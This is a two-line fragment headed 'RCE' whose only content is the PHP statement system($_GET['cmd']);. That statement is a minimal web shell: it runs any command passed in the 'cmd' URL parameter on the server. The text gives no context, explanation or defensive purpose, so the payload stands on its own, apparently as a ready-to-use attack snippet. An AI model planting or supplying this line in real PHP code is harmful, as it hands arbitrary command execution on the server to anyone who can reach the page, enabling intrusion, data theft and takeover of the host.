RCE

system($_GET[‘cmd’]);